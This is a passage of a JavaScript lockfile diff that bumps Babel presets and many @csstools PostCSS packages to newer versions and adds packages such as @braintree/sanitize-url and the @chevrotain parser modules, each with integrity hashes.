"@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="], "@babel/preset-modules": ["@babel/preset-modules@0.1.6-no-external-plugins", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA=="], - "@babel/preset-react": ["@babel/preset-react@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-transform-react-display-name": "^7.23.3", "@babel/plugin-transform-react-jsx": "^7.22.15", "@babel/plugin-transform-react-jsx-development": "^7.22.5", "@babel/plugin-transform-react-pure-annotations": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w=="], + "@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="], - "@babel/preset-typescript": ["@babel/preset-typescript@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ=="], + "@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="], "@babel/runtime": ["@babel/runtime@7.26.10", "", { "dependencies": { "regenerator-runtime": "^0.14.0" } }, "sha512-2WJMeRQPHKSPemqk/awGrAiuFfzBmOIPXKizAsVhWH9YJqLZ0H+HS4c8loHGgW6utJ3E/ejXQUsiGaQy2NZ9Fw=="], @@ -899,8 +917,20 @@ "@bcoe/v8-coverage": ["@bcoe/v8-coverage@0.2.3", "", {}, "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="], + "@braintree/sanitize-url": ["@braintree/sanitize-url@7.1.2", "", {}, "sha512-jigsZK+sMF/cuiB7sERuo9V7N9jx+dhmHHnQyDSVdpZwVutaBu7WvNYqMDLSgFgfB30n452TP3vjDAvFC973mA=="], + "@cfworker/json-schema": ["@cfworker/json-schema@4.1.1", "", {}, "sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og=="], + "@chevrotain/cst-dts-gen": ["@chevrotain/cst-dts-gen@11.1.2", "", { "dependencies": { "@chevrotain/gast": "11.1.2", "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q=="], + + "@chevrotain/gast": ["@chevrotain/gast@11.1.2", "", { "dependencies": { "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g=="], + + "@chevrotain/regexp-to-ast": ["@chevrotain/regexp-to-ast@11.1.2", "", {}, "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw=="], + + "@chevrotain/types": ["@chevrotain/types@11.1.2", "", {}, "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw=="], + + "@chevrotain/utils": ["@chevrotain/utils@11.1.2", "", {}, "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA=="], + "@codemirror/autocomplete": ["@codemirror/autocomplete@6.18.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.17.0", "@lezer/common": "^1.0.0" }, "peerDependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", "@lezer/common": "^1.0.0" } }, "sha512-5DbOvBbY4qW5l57cjDsmmpDh3/TeK1vXfTHa+BUMrRzdWdcxKZ4U4V7vQaTtOpApNU4kLS4FQ6cINtLg245LXA=="], "@codemirror/commands": ["@codemirror/commands@6.6.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.4.0", "@codemirror/view": "^6.27.0", "@lezer/common": "^1.1.0" } }, "sha512-qnY+b7j1UNcTS31Eenuc/5YJB6gQOzkUoNmJQc0rznwqSRpeaWWpjkWy2C/MPTcePpsKJEM26hXrOXl1+nceXg=="], @@ -929,67 +959,109 @@ "@cspotcode/source-map-support": ["@cspotcode/source-map-support@0.8.1", "", { "dependencies": { "@jridgewell/trace-mapping": "0.3.9" } }, "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw=="], - "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@1.0.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ=="], + "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@3.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ=="], - "@csstools/color-helpers": ["@csstools/color-helpers@2.1.0", "", {}, "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw=="], + "@csstools/color-helpers": ["@csstools/color-helpers@6.0.2", "", {}, "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q=="], - "@csstools/css-calc": ["@csstools/css-calc@1.1.6", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew=="], + "@csstools/css-calc": ["@csstools/css-calc@3.1.1", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ=="], - "@csstools/css-color-parser": ["@csstools/css-color-parser@1.5.1", "", { "dependencies": { "@csstools/color-helpers": "^4.0.0", "@csstools/css-calc": "^1.1.6" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw=="], + "@csstools/css-color-parser": ["@csstools/css-color-parser@4.0.2", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "@csstools/css-calc": "^3.1.1" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw=="], - "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@2.5.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ=="], + "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@4.0.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w=="], - "@csstools/css-tokenizer": ["@csstools/css-tokenizer@2.2.3", "", {}, "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg=="], + "@csstools/css-tokenizer": ["@csstools/css-tokenizer@4.0.0", "", {}, "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA=="], - "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@2.1.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ=="], + "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@5.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg=="], - "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@3.0.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.2", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA=="], + "@csstools/postcss-alpha-function": ["@csstools/postcss-alpha-function@2.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw=="], - "@csstools/postcss-color-function": ["@csstools/postcss-color-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw=="], + "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ=="], - "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@1.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog=="], + "@csstools/postcss-color-function": ["@csstools/postcss-color-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA=="], - "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA=="], + "@csstools/postcss-color-function-display-p3-linear": ["@csstools/postcss-color-function-display-p3-linear@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg=="], - "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@3.0.6", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA=="], + "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA=="], - "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@2.2.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg=="], + "@csstools/postcss-color-mix-variadic-function-arguments": ["@csstools/postcss-color-mix-variadic-function-arguments@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow=="], - "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@2.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig=="], + "@csstools/postcss-content-alt-text": ["@csstools/postcss-content-alt-text@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA=="], - "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@3.2.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q=="], + "@csstools/postcss-contrast-color-function": ["@csstools/postcss-contrast-color-function@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw=="], - "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@1.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw=="], + "@csstools/postcss-exponential-functions": ["@csstools/postcss-exponential-functions@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw=="], - "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@1.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ=="], + "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg=="], - "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@1.0.3", "", { "dependencies": { "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg=="], + "@csstools/postcss-font-width-property": ["@csstools/postcss-font-width-property@1.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA=="], - "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@1.1.2", "", { "dependencies": { "@csstools/css-calc": "^1.1.6", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "@csstools/media-query-list-parser": "^2.1.7" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA=="], + "@csstools/postcss-gamut-mapping": ["@csstools/postcss-gamut-mapping@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA=="], - "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@1.0.4", "", { "dependencies": { "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA=="], + "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@6.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw=="], - "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw=="], + "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew=="], - "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@2.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w=="], + "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@5.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw=="], - "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA=="], + "@csstools/postcss-initial": ["@csstools/postcss-initial@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q=="], - "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@2.3.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q=="], + "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw=="], - "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@1.0.2", "", { "dependencies": { "@csstools/css-color-parser": 